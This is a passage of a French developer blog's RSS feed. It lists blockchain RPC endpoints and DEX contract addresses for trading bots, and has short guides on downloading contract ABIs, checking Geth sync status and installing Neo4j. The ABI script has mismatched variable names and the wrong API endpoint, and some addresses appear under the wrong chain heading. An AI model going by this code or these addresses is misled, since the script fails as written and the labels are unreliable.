<li><a href="https://api.mainnet-beta.solana.com">https://api.mainnet-beta.solana.com</a></li>
<li><a href="https://rpc.ankr.com/solana">https://rpc.ankr.com/solana</a></li>
<li><a href="https://solana-api.projectserum.com">https://solana-api.projectserum.com</a></li>
</ul>
<br/>
<p><strong>Own node</strong></p>
<ul>
<li><a href="https://docs.solana.com/running-validator">https://docs.solana.com/running-validator</a></li>
</ul>
<br/>
<p><strong>Doc</strong></p>
<ul>
<li><a href="https://docs.solana.com/cluster/rpc-endpoints">https://docs.solana.com/cluster/rpc-endpoints</a></li>
</ul>
<br/>
]]></content>
        </item>
        
        <item>
            <title>Exemples de DEX que j&#39;utilise dans mes robots de trading</title>
            <link>https://leandeep.com/exemples-de-dex-que-jutilise-dans-mes-robots-de-trading/</link>
            <pubDate>Sun, 03 Jul 2022 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/exemples-de-dex-que-jutilise-dans-mes-robots-de-trading/</guid>
            <description>&lt;p&gt;Voici quelques exemples de DEXes sur lesquels mes robots de trading sont connectés ainsi que quelques informations de base les concernants. J&amp;rsquo;ai pris l&amp;rsquo;exemple des 2 Blockchains les plus utilisées après Ethereum à savoir &lt;strong&gt;BNB Smart Chain (BSC)&lt;/strong&gt; et &lt;strong&gt;Polygon&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Pour le moment, et jusqu&amp;rsquo;à ce qu&amp;rsquo;on passe en version 2, je n&amp;rsquo;utilise plus Ethereum à cause de gas fees qui rendent les trades moins intéressants.&lt;/p&gt;
&lt;p&gt;Bien sûr il y en a plein d&amp;rsquo;autres et sur des tas de blockchains différentes. (Et il n&amp;rsquo;y a pas que les blockchains EVM qui offrent des opportunités de trading&amp;hellip;)&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici quelques exemples de DEXes sur lesquels mes robots de trading sont connectés ainsi que quelques informations de base les concernants. J&rsquo;ai pris l&rsquo;exemple des 2 Blockchains les plus utilisées après Ethereum à savoir <strong>BNB Smart Chain (BSC)</strong> et <strong>Polygon</strong>.</p>
<p>Pour le moment, et jusqu&rsquo;à ce qu&rsquo;on passe en version 2, je n&rsquo;utilise plus Ethereum à cause de gas fees qui rendent les trades moins intéressants.</p>
<p>Bien sûr il y en a plein d&rsquo;autres et sur des tas de blockchains différentes. (Et il n&rsquo;y a pas que les blockchains EVM qui offrent des opportunités de trading&hellip;)</p>
<ul>
<li>Arbitrum</li>
<li>Avalanche</li>
<li>BNB Smart Chain (BSC)</li>
<li>Celo</li>
<li>Cronos</li>
<li>Ethereum</li>
<li>Fantom</li>
<li>Fuse</li>
<li>Gnosis (xDAI)</li>
<li>Harmony (Mainnet Shard 0)</li>
<li>Moonriver</li>
<li>Optimism</li>
<li>Polygon</li>
<li>Solana</li>
</ul>
<br/>
<h2 id="arbitrum-usage-en-preprod">Arbitrum (usage en preprod)</h2>
<ul>
<li>Uniswap (v3) - <a href="https://info.uniswap.org/<br/>">https://info.uniswap.org/<br/></a>
Factory: <code>0x1F98431c8aD98523631AE4a59f267346ea31F984</code><br/>
Router: <code>0xE592427A0AEce92De3Edee1F18E0157C05861564</code></li>
</ul>
<br/>
<h2 id="bnb-smart-chain-bsc">BNB Smart Chain (BSC)</h2>
<ul>
<li>
<p>ApeSwap (v2) - <a href="https://apeswap.finance/<br/>">https://apeswap.finance/<br/></a>
Factory: <code>0x0841BD0B734E4F5853f0dD8d7Ea041c241fb0Da6</code><br/>
Router: <code>0xcF0feBd3f17CEf5b47b0cD257aCf6025c5BFf3b7</code><br/>
Fees: 0.1%</p>
</li>
<li>
<p>BabySwap (v2) - <a href="https://home.babyswap.finance/<br/>">https://home.babyswap.finance/<br/></a>
Factory: <code>0x86407bEa2078ea5f5EB5A52B2caA963bC1F889Da</code><br/>
Router: <code>0x325E343f1dE602396E256B67eFd1F61C3A6B38Bd</code><br/>
Fees: 0.3%</p>
</li>
<li>
<p>Biswap (v2) - <a href="https://biswap.org/<br/>">https://biswap.org/<br/></a>
Factory: <code>0x858E3312ed3A876947EA49d572A7C42DE08af7EE</code><br/>
Router: <code>0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8</code><br/>
Fees: 0.2%</p>
</li>
<li>
<p>Eros Swap (custom v2) - <a href="https://bsc.erosswap.finance/<br/>">https://bsc.erosswap.finance/<br/></a>
Factory &amp; Router: <code>0x3CD1C46068dAEa5Ebb0d3f55F6915B10648062B8</code><br/>
Fees: 0% how? 0.1% maybe?</p>
</li>
<li>
<p>FSTSwap (v2) - <a href="https://www.fstswap.pro/<br/>">https://www.fstswap.pro/<br/></a>
Factory: <code>0x9A272d734c5a0d7d84E0a892e891a553e8066dce</code><br/>
Router: <code>0x1B6C9c20693afDE803B27F8782156c0f892ABC2d</code><br/>
Fees: 0.3%</p>
</li>
<li>
<p>GIBX Swap <strong>(removed)</strong> - <a href="https://gibxswap.io/<br/>">https://gibxswap.io/<br/></a>
Factory: <code>0x97bCD9BB482144291D77ee53bFa99317A82066E8</code></p>
</li>
<li>
<p>Jetswap (v2) - <a href="https://jetswap.finance/<br/>">https://jetswap.finance/<br/></a>
Factory: <code>0x0eb58E5c8aA63314ff5547289185cC4583DfCBD5</code><br/>
Router: <code>0xBe65b8f75B9F20f4C522e0067a3887FADa714800</code><br/>
Fees: 0.3%</p>
</li>
<li>
<p>JustLiquidity (v2) - <a href="https://justliquidity.org/<br/>">https://justliquidity.org/<br/></a>
Factory: <code>0x553990F2CBA90272390f62C5BDb1681fFc899675</code><br/>
Router: <code>0xbd67d157502A23309Db761c41965600c2Ec788b2</code><br/>
Fees: mêmes que Uniswap: 0.05%;0.3%;1%</p>
</li>
<li>
<p>Nomiswap (**≠**v2) - <a href="https://nomiswap.io/<br/>">https://nomiswap.io/<br/></a>
Factory: <code>0xd6715A8be3944ec72738F0BFDC739d48C3c29349</code><br/>
Router: <code>0xC471647c2c0fFe4E59E8841d5ce1726D052A2d17</code><br/>
Fees: 0.1%</p>
</li>
<li>
<p>Pancakeswap (v2) - <a href="https://pancakeswap.finance/<br/>">https://pancakeswap.finance/<br/></a>
Factory: <code>0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73</code><br/>
Router: <code>0x10ED43C718714eb63d5aA57B78B54704E256024E</code><br/>
Fees: 0.30%</p>
</li>
</ul>
<br/>
<h2 id="cronos">Cronos</h2>
<ul>
<li>
<p>CyborgSwap (v2) - <a href="https://cyborgswap.io/<br/>">https://cyborgswap.io/<br/></a>
Factory: <code>0x6C50Ee65CFcfC59B09C570e55D76daa7c67D6da5</code><br/>
Router: <code>0x5bFc95C3BbF50579bD57957cD074fa96a4d5fF9F</code><br/>
Fees: 0.25%</p>
</li>
<li>
<p>MM Finance (v2) - <a href="https://mm.finance/<br/>">https://mm.finance/<br/></a>
Factory: <code>0xd590cC180601AEcD6eeADD9B7f2B7611519544f4</code><br/>
Router: <code>0x145677FC4d9b8F19B5D56d1820c48e0443049a30</code><br/>
Fees: 0.17%</p>
</li>
<li>
<p>VVS Finance (v2) - <a href="https://vvs.finance/<br/>">https://vvs.finance/<br/></a>
Factory: <code>0x3B44B2a187a7b3824131F8db5a74194D0a42Fc15</code><br/>
Router: <code>0x145863Eb42Cf62847A6Ca784e6416C1682b1b2Ae</code><br/>
Fees: 0.2%</p>
</li>
</ul>
<br/>
<h2 id="ethereum">Ethereum</h2>
<ul>
<li>
<p>HoneySwap (v2) - <a href="https://honeyswap.org/<br/>">https://honeyswap.org/<br/></a>
Factory: <code>0xd34971BaB6E5E356fd250715F5dE0492BB070452</code><br/>
Router: <code>0xB9960d9bcA016e9748bE75dd52F02188B9d0829f</code><br/>Fees: 0.25%</p>
</li>
<li>
<p>QuickSwap (v2) - <a href="https://quickswap.exchange/<br/>">https://quickswap.exchange/<br/></a>
Factory: <code>0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32</code><br/>
Router: <code>0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff</code> (preprod. adresses à vérifier)</p>
</li>
<li>
<p>ShibaSwap (v2) - <a href="https://shibaswap.com/<br/>">https://shibaswap.com/<br/></a>
Factory: <code>0x115934131916C8b277DD010Ee02de363c09d037c</code><br/>
Router: <code>0x03f7724180AA6b939894B5Ca4314783B0b36b329</code><br/>
Doc: <a href="https://shibaswap.gitbook.io/shibaswap/<br/>">https://shibaswap.gitbook.io/shibaswap/<br/></a>
Fees: 0.3%</p>
</li>
<li>
<p>SushiSwap (v2) - <a href="https://sushi.com/<br/>">https://sushi.com/<br/></a>
Factory: <code>0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac</code><br/>
Router: <code>0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F</code><br/>
Fees: 0.3%</p>
</li>
<li>
<p>Uniswap (v2) - <a href="https://app.uniswap.org">https://app.uniswap.org</a><br/>
Factory: <code>0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f</code><br/>
Router: <code>0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D</code><br/>
Fees: 0.3%</p>
</li>
</ul>
<br/>
<h2 id="fantom">Fantom</h2>
<ul>
<li>
<p>JetSwap (v2) - <a href="https://jetswap.finance/<br/>">https://jetswap.finance/<br/></a>
Factory: <code>0xf6488205957f0b4497053d6422F49e27944eE3Dd</code><br/>
Router: <code>0x845E76A8691423fbc4ECb8Dd77556Cb61c09eE25</code><br/>
Fees: 0.3%</p>
</li>
<li>
<p>Spookyi (v2) - <a href="https://spooky.fi">https://spooky.fi</a><br/>
Factory: <code>0x152eE697f2E276fA89E96742e9bB9aB1F2E61bE3</code><br/>
Router: <code>0xF491e7B69E4244ad4002BC14e878a34207E38c29</code><br/>
Fees: 0.22%</p>
</li>
<li>
<p>SushiSwap (v2) - <a href="https://sushi.com/<br/>">https://sushi.com/<br/></a>
Factory: <code>0xc35DADB65012eC5796536bD9864eD8773aBc74C4</code><br/>
Router: <code>0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506</code><br/>
Fees: 0.3%</p>
</li>
<li>
<p>TombSwap (v2) - <a href="https://swap.tomb.com/<br/>">https://swap.tomb.com/<br/></a>
Factory: <code>0xE236f6890F1824fa0a7ffc39b1597A5A6077Cfe9</code><br/>
Router: <code>0x6D0176C5ea1e44b08D3dd001b0784cE42F47a3A7</code><br/>
Fees: 0.5%</p>
</li>
</ul>
<br/>
<h2 id="harmony-usage-en-preprod">Harmony (usage en preprod)</h2>
<ul>
<li>Defi Kingdoms - <a href="https://defikingdoms.com/<br/>">https://defikingdoms.com/<br/></a>
Factory: <code>0x9014B937069918bd319f80e8B3BB4A2cf6FAA5F7</code><br/>
Router: <code>0x24ad62502d1C652Cc7684081169D04896aC20f30</code></li>
</ul>
<br/>
<h2 id="polygon">Polygon</h2>
<ul>
<li>
<p>ApeSwap (BANANA) (v2) - <a href="https://apeswap.finance">https://apeswap.finance</a><br/>
Factory: <code>0xCf083Be4164828f00cAE704EC15a36D711491284</code><br/>
Router: <code>0xC0788A3aD43d79aa53B09c2EaCc313A787d1d607</code><br/>
Fees: 0.1%</p>
</li>
<li>
<p>Dfyn Network (v2) - <a href="https://dfyn.network/<br/>">https://dfyn.network/<br/></a>
Factory: <code>0xE7Fb3e833eFE5F9c441105EB65Ef8b261266423B</code><br/>
Router: <code>0xA102072A4C07F06EC3B4900FDC4C7B80b6c57429</code><br/>
Fees:</p>
</li>
<li>
<p>HoneySwap (v2) - <a href="https://honeyswap.org/<br/>">https://honeyswap.org/<br/></a>
Factory: <code>0x03DAa61d8007443a6584e3d8f85105096543C19c</code><br/>
Router: <code>0xaD340d0CD0B117B0140671E7cB39770e7675C848</code><br/>
Fees:</p>
</li>
<li>
<p>JetSwap (v2) - <a href="https://jetswap.finance/<br/>">https://jetswap.finance/<br/></a>
Factory: <code>0x668ad0ed2622C62E24f0d5ab6B6Ac1b9D2cD4AC7</code><br/>
Router: <code>0x5C6EC38fb0e2609672BDf628B1fD605A523E5923</code><br/>
Fees:</p>
</li>
<li>
<p>Polycat (v2) - <a href="https://polycat.finance/<br/>">https://polycat.finance/<br/></a>
Factory: <code>0x477Ce834Ae6b7aB003cCe4BC4d8697763FF456FA</code><br/>
Router: <code>0x94930a328162957FF1dd48900aF67B5439336cBD</code><br/>
Fees:</p>
</li>
<li>
<p>Quickswap (v2) - <a href="https://quickswap.exchange/<br/>">https://quickswap.exchange/<br/></a>
Factory: <code>0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32</code><br/>
Router: <code>0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff</code><br/>
Fees:</p>
</li>
<li>
<p>RadioShack (RADIO) (v2) - <a href="https://www.radioshack.org/<br/>">https://www.radioshack.org/<br/></a>
Factory: <code>0xB581D0A3b7Ea5cDc029260e989f768Ae167Ef39B</code><br/>
Router: <code>0xAf877420786516FC6692372c209e0056169eebAf</code><br/>
Fees:</p>
</li>
<li>
<p>Uniswap (<strong>v3</strong>)<br/>
Factory: <code>0x1F98431c8aD98523631AE4a59f267346ea31F984</code><br/>
Router: <code>0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45</code>
Fees:</p>
</li>
<li>
<p>SushiSwap (v2) - <a href="https://sushi.com/<br/>">https://sushi.com/<br/></a>
Factory: <code>0xc35DADB65012eC5796536bD9864eD8773aBc74C4</code><br/>
Router: <code>0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506</code><br/>
Fees: 0.3%</p>
</li>
</ul>
<br/>
<h2 id="gnosis--xdai-usage-en-preprod">Gnosis / xDAI (usage en preprod)</h2>
<ul>
<li>
<p>Baoswap (v2) - <a href="https://www.baoswap.xyz/#/swap<br/>">https://www.baoswap.xyz/#/swap<br/></a>
Factory: <code>0x45DE240fbE2077dd3e711299538A09854FAE9c9b</code><br/>
Router: <code>0x6093AeBAC87d62b1A5a4cEec91204e35020E38bE</code><br/>
Doc: <a href="https://docs.bao.finance/contracts-and-key-info/xdai<br/>">https://docs.bao.finance/contracts-and-key-info/xdai<br/></a>
Fees:</p>
</li>
<li>
<p>HoneySwap - <a href="https://honeyswap.org/<br/>">https://honeyswap.org/<br/></a>
Factory: <code>0xA818b4F111Ccac7AA31D0BCc0806d64F2E0737D7</code><br/>
Router: <code>0x1C232F01118CB8B424793ae03F870aa7D0ac7f77</code><br/>
Fees:</p>
</li>
<li>
<p>SushiSwap - <a href="https://sushi.com/<br/>">https://sushi.com/<br/></a>
Factory: <code>0xc35DADB65012eC5796536bD9864eD8773aBc74C4</code><br/>
Router: <code>0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506</code><br/>
Fees:</p>
</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Télécharger les ABIs des smart contracts vérifiés sur bscscan</title>
            <link>https://leandeep.com/t%C3%A9l%C3%A9charger-les-abis-des-smart-contracts-v%C3%A9rifi%C3%A9s-sur-bscscan/</link>
            <pubDate>Sun, 03 Jul 2022 21:25:00 +0000</pubDate>
            
            <guid>https://leandeep.com/t%C3%A9l%C3%A9charger-les-abis-des-smart-contracts-v%C3%A9rifi%C3%A9s-sur-bscscan/</guid>
            <description>&lt;p&gt;Tout est dans le titre. Voici un script très simple permettant de télécharger les ABIs disponibles sur BSC Scan.&lt;/p&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;get_abi.py&lt;/code&gt; et coller le contenu suivant:&lt;/p&gt;
&lt;br/&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/usr/bin/python
import argparse
import requests
import json


ABI_ENDPOINT = &amp;#34;https://api.etherscan.io/api?module=contract&amp;amp;action=getabi&amp;amp;address=&amp;#34;

parser = argparse.ArgumentParser()
parser.add_argument(&amp;#34;-a&amp;#34;, &amp;#34;--address&amp;#34;, type=str, help=&amp;#34;Smart contract address&amp;#34;)
parser.add_argument(&amp;#34;-o&amp;#34;, &amp;#34;--output&amp;#34;, type=str, help=&amp;#34;Path to store the output ABI JSON file&amp;#34;, required=True)

def __main__() -&amp;gt; None:
    &amp;#34;&amp;#34;&amp;#34;Exports contract ABI in JSON&amp;#34;&amp;#34;&amp;#34;
    args = parser.parse_args()
    resp_json_ = requests.get(f&amp;#34;{ABI_ENDPOINT}{args.addr}&amp;#34;).json()
    abi_json = json.loads(resp_json[&amp;#34;result&amp;#34;])
    result = json.dumps({&amp;#34;abi&amp;#34;: abi_json}, indent=4, sort_keys=True)
    open(args.output, &amp;#34;w&amp;#34;).write(result)

if __name__ == &amp;#34;__main__&amp;#34;:
    __main__()
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Et voici la commande pour utiliser ce script:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Tout est dans le titre. Voici un script très simple permettant de télécharger les ABIs disponibles sur BSC Scan.</p>
<p>Créer un fichier <code>get_abi.py</code> et coller le contenu suivant:</p>
<br/>
<pre tabindex="0"><code>#!/usr/bin/python
import argparse
import requests
import json


ABI_ENDPOINT = &#34;https://api.etherscan.io/api?module=contract&amp;action=getabi&amp;address=&#34;

parser = argparse.ArgumentParser()
parser.add_argument(&#34;-a&#34;, &#34;--address&#34;, type=str, help=&#34;Smart contract address&#34;)
parser.add_argument(&#34;-o&#34;, &#34;--output&#34;, type=str, help=&#34;Path to store the output ABI JSON file&#34;, required=True)

def __main__() -&gt; None:
    &#34;&#34;&#34;Exports contract ABI in JSON&#34;&#34;&#34;
    args = parser.parse_args()
    resp_json_ = requests.get(f&#34;{ABI_ENDPOINT}{args.addr}&#34;).json()
    abi_json = json.loads(resp_json[&#34;result&#34;])
    result = json.dumps({&#34;abi&#34;: abi_json}, indent=4, sort_keys=True)
    open(args.output, &#34;w&#34;).write(result)

if __name__ == &#34;__main__&#34;:
    __main__()
</code></pre><br/>
<p>Et voici la commande pour utiliser ce script:</p>
<p><code>python get_abi --address=ADDRESS_CONTRACT --output=OUTPUT_PATH</code></p>
]]></content>
        </item>
        
        <item>
            <title>Commandes de synchronisation/dev Geth</title>
            <link>https://leandeep.com/commandes-de-synchronisation/dev-geth/</link>
            <pubDate>Thu, 30 Jun 2022 09:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/commandes-de-synchronisation/dev-geth/</guid>
            <description>&lt;p&gt;Dans cet article très court, vous trouverez des commandes utiles pour vérifier si votre noeud BSC (Geth) est synchronisé ou non, ainsi que d&amp;rsquo;autres commandes utiles pour développer sur cette Blockchain.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;synchronisation&#34;&gt;Synchronisation&lt;/h2&gt;
&lt;p&gt;Si vous n&amp;rsquo;avez pas accès la machine, vous pouvez utiliser &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -H &amp;#34;Content-Type: application/json&amp;#34; -X POST --data &amp;#39;{&amp;#34;jsonrpc&amp;#34;:&amp;#34;2.0&amp;#34;,&amp;#34;method&amp;#34;:&amp;#34;eth_syncing&amp;#34;,&amp;#34;params&amp;#34;:[],&amp;#34;id&amp;#34;:1}&amp;#39; http://127.0.0.1:8545
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Par contre, si vous avez accès à &lt;code&gt;geth&lt;/code&gt; sur le serveur faisant tourner la blockchain vous pouvez utiliser une de ces deux commandes:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article très court, vous trouverez des commandes utiles pour vérifier si votre noeud BSC (Geth) est synchronisé ou non, ainsi que d&rsquo;autres commandes utiles pour développer sur cette Blockchain.</p>
<br/>
<h2 id="synchronisation">Synchronisation</h2>
<p>Si vous n&rsquo;avez pas accès la machine, vous pouvez utiliser <code>curl</code>:</p>
<pre tabindex="0"><code>curl -H &#34;Content-Type: application/json&#34; -X POST --data &#39;{&#34;jsonrpc&#34;:&#34;2.0&#34;,&#34;method&#34;:&#34;eth_syncing&#34;,&#34;params&#34;:[],&#34;id&#34;:1}&#39; http://127.0.0.1:8545
</code></pre><br/>
<p>Par contre, si vous avez accès à <code>geth</code> sur le serveur faisant tourner la blockchain vous pouvez utiliser une de ces deux commandes:</p>
<pre tabindex="0"><code>./geth_bsc --exec &#34;loadScript(&#39;GethSyncingProgress_2TimeEstimate.js&#39;)&#34; attach ./node/geth.ipc
</code></pre><p>Le script MIT réalisé <a href="https://github.com/lyricalpolymath/Ethereum-Scripts/blob/master/GethSyncingProgress_2TimeEstimate.js">par Lyricalpolymath <code>GethSyncingProgress_2TimeEstimate.js</code></a> est le suivant:</p>
<pre tabindex="0"><code>/**
*   GETH SYNCING PROGRESS - TIME ESTIMATE
*  a script to estimate how much time is left to fully sync the Ethereum Blockchain with Geth
*  
*  If it takes too long, consider restarting geth with 
*		the &#39;--fast&#39; option (not suggested for developers), 
*		or better the &#39;--cache=1024&#39; or &#39;--cache=2048 option that will assign more RAM to geth and make it faster
* 
*  (c) Lyricalpolymath 2016. MIT Licence 
*  http://github.com/lyricalpolymath
*/


// run like this
// $ geth --exec &#34;loadScript(&#39;GethSyncingProgress_2TimeEstimate.js&#39;)&#34; attach  

                   
//number of blocks to test before we give a timing estimate    
var resolution = 10; 

var startDate = new Date();
var endDate;
var s = eth.syncing;
var block1 = s.currentBlock
var blockLast = block1 + resolution
 

// convert the duration for the stats
function msToTime(duration) {
    var milliseconds = parseInt((duration % 1000) / 100),
        seconds = parseInt((duration / 1000) % 60),
        minutes = parseInt((duration / (1000 * 60)) % 60),
        hours = parseInt((duration / (1000 * 60 * 60)) % 24), 
		days = parseInt((duration / (1000 * 60 * 60 * 24)) % 365);
       
    var h = (hours &lt; 10) ? &#34;0&#34; + hours : hours;
    var m = (minutes &lt; 10) ? &#34;0&#34; + minutes : minutes;
    var s = (seconds &lt; 10) ? &#34;0&#34; + seconds : seconds;

    return days + &#34;d :&#34; + hours + &#34;h :&#34; + minutes + &#34;m :&#34; + seconds + &#34;s.&#34; + milliseconds;
}
    

function displayTimeEstimate() {
	s = eth.syncing;
	var blocksLeft = (s.highestBlock-s.currentBlock)   
	var time_duration = endDate - startDate  //returns amount of milliseconds passed
	var time_duration_readable = msToTime(time_duration);
	var time_left = msToTime( (time_duration / resolution) * blocksLeft );
	
	console.log(&#34;------------ GETH SYNCING PROGRESS - Time estimate&#34;)
	console.log(&#34;progress: &#34; + (s.currentBlock/s.highestBlock*100));
	console.log(&#34;Estimated Time left*: &#34; + time_left);
	console.log(&#34;Time it took to parse &#34; + resolution + &#34; blocks: &#34; + time_duration_readable); 
	console.log(&#34;blocks left to parse: &#34; + blocksLeft ); 
	 
	if(time_duration_readable.indexOf(&#34;0d&#34;) != -1) {
		console.log(&#34;--------------------------------------------------&#34;) 
		console.log(&#34;*WARNING: this is just an ESTIMATE based on how much time it took to parse &#34; + resolution + &#34; blocks. But each block is different, some take longer than others because they have more transactions, and also, new blocks are continuously added&#34;);
		console.log(&#34;If it takes too long, consider restarting geth with the &#39;--fast&#39; option (not suggested for developers), or better the &#39;--cache=1024&#39; or &#39;--cache=2048 option that will assign more RAM to geth and make it faster&#34;);
	}  
}


// wait untill the number of Blocks isn&#39;t like the BlockLast
// and then calculate the time difference and show it on the console 
console.log(&#34;\nGeth Syncing progress Time Estimate - STARTED - be patient, this might take ≈&#34; + (resolution*5) + &#34; seconds approximately&#34;)
do {
   var cb = eth.syncing.currentBlock;
   if (cb &gt;= blockLast) {
	   endDate = new Date();
	   displayTimeEstimate()
   }
} while(cb &lt; blockLast) 
</code></pre><br/>
<p>Ou cette commande plus simple:</p>
<pre tabindex="0"><code>./geth_bsc --exec &#39;var s = eth.syncing; console.log(&#34;\n------------ GETH SYNCING PROGRESS\nprogress: &#34; + (s.currentBlock/s.highestBlock*100)+ &#34; %\nblocks left to parse: &#34;+ (s.highestBlock-s.currentBlock) + &#34;\ncurrent Block: &#34; + s.currentBlock + &#34; of &#34; + s.highestBlock)&#39; attach ./node/geth.ipc
</code></pre><br/>
<h2 id="tunnel-vers-geth-si-remote-access-not-configured">Tunnel vers Geth si remote access not configured</h2>
<p><em>Bien sûr à ne pas utiliser en production</em></p>
<pre tabindex="0"><code>ssh -N -v -p PORT_SSH VOTRE_SSH_USER@VOTRE_SSH_SERVER -L 8545:localhost:8545
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Neo4j 4.1 sur Ubuntu 20.04</title>
            <link>https://leandeep.com/installer-neo4j-4.1-sur-ubuntu-20.04/</link>
            <pubDate>Mon, 30 May 2022 00:46:43 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-neo4j-4.1-sur-ubuntu-20.04/</guid>
            <description>&lt;p&gt;Voici la procédure à suivre pour installer Neo4j 4.1 sur Ubuntu 20.04.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Truster le repo Neo4j&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;curl -fsSL https://debian.neo4j.com/neotechnology.gpg.key |sudo gpg --dearmor -o /usr/share/keyrings/neo4j.gpg
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Ajouter le repo Neo4j dans la liste des packages APT&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo &amp;#34;deb [signed-by=/usr/share/keyrings/neo4j.gpg] https://debian.neo4j.com stable 4.1&amp;#34; | sudo tee -a /etc/apt/sources.list.d/neo4j.list
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Prendre en compte la nouvelle source&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installer le package&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install neo4j
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Enable le service&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo systemctl enable neo4j.service
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Démarrer le service&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici la procédure à suivre pour installer Neo4j 4.1 sur Ubuntu 20.04.</p>
<br/>
<p><strong>Truster le repo Neo4j</strong></p>
<pre tabindex="0"><code>curl -fsSL https://debian.neo4j.com/neotechnology.gpg.key |sudo gpg --dearmor -o /usr/share/keyrings/neo4j.gpg
</code></pre><br/>
<p><strong>Ajouter le repo Neo4j dans la liste des packages APT</strong></p>
<pre tabindex="0"><code>echo &#34;deb [signed-by=/usr/share/keyrings/neo4j.gpg] https://debian.neo4j.com stable 4.1&#34; | sudo tee -a /etc/apt/sources.list.d/neo4j.list
</code></pre><br/>
<p><strong>Prendre en compte la nouvelle source</strong></p>
<pre tabindex="0"><code>sudo apt update
</code></pre><br/>
<p><strong>Installer le package</strong></p>
<pre tabindex="0"><code>sudo apt install neo4j
</code></pre><br/>
<p><strong>Enable le service</strong></p>
<pre tabindex="0"><code>sudo systemctl enable neo4j.service
</code></pre><br/>
<p><strong>Démarrer le service</strong></p>
<pre tabindex="0"><code>sudo systemctl start neo4j.service
</code></pre><br/>
<p><strong>Vérifier que le service est UP</strong></p>
<pre tabindex="0"><code>sudo systemctl status neo4j.service
</code></pre><br/>
<p><strong>Vérifier l&rsquo;installation et changer le mot de passe par défaut</strong></p>
<pre tabindex="0"><code>cypher-shell
</code></pre><blockquote>
<p>Neo4j sera disponible sur localhost (<code>neo4j://127.0.0.1:7687</code>) uniquement. Rendez-vous dans <code>/etc/neo4j/neo4j.conf</code> pour binder Neo4j aux interfaces IPv4 ou IPv6 de votre serveur.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Protéger votre site internet/ web app du scraping</title>
            <link>https://leandeep.com/prot%C3%A9ger-votre-site-internet/-web-app-du-scraping/</link>
            <pubDate>Sat, 28 May 2022 09:45:00 +0000</pubDate>
            
            <guid>https://leandeep.com/prot%C3%A9ger-votre-site-internet/-web-app-du-scraping/</guid>
            <description>&lt;p&gt;Si vous avez besoin de protéger vos précieuses données, sécuriser votre API ne suffit pas. Il faut aussi protéger votre front du scraping sans quoi un hacker peut récupérer toutes vos données. Pour un hacker, c&amp;rsquo;est un peu plus long qu&amp;rsquo;attaquer une API mais pour une personne expérimentée, cela peut aller très vite. Dans cet article succinct, nous allons voir brièvement des techniques utilisées pour scraper des données. Il est important de les connaître pour mieux protéger son site internet. Il est abérrant de voir que certains business lancés sur internet n&amp;rsquo;ont absolument rien fait pour se protéger. Pourtant si un dump de leurs données se retrouvait sur internet ils pourraient tout de suite fermer boutique&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Si vous avez besoin de protéger vos précieuses données, sécuriser votre API ne suffit pas. Il faut aussi protéger votre front du scraping sans quoi un hacker peut récupérer toutes vos données. Pour un hacker, c&rsquo;est un peu plus long qu&rsquo;attaquer une API mais pour une personne expérimentée, cela peut aller très vite. Dans cet article succinct, nous allons voir brièvement des techniques utilisées pour scraper des données. Il est important de les connaître pour mieux protéger son site internet. Il est abérrant de voir que certains business lancés sur internet n&rsquo;ont absolument rien fait pour se protéger. Pourtant si un dump de leurs données se retrouvait sur internet ils pourraient tout de suite fermer boutique&hellip;</p>
<br/>
<h2 id="filtrage-ip">Filtrage IP</h2>
<p>Possibilité de passer sous le radar des API gateway avec des nouvelles IPs.</p>
<p><strong>Proxy Anonyme via Tor</strong></p>
<blockquote>
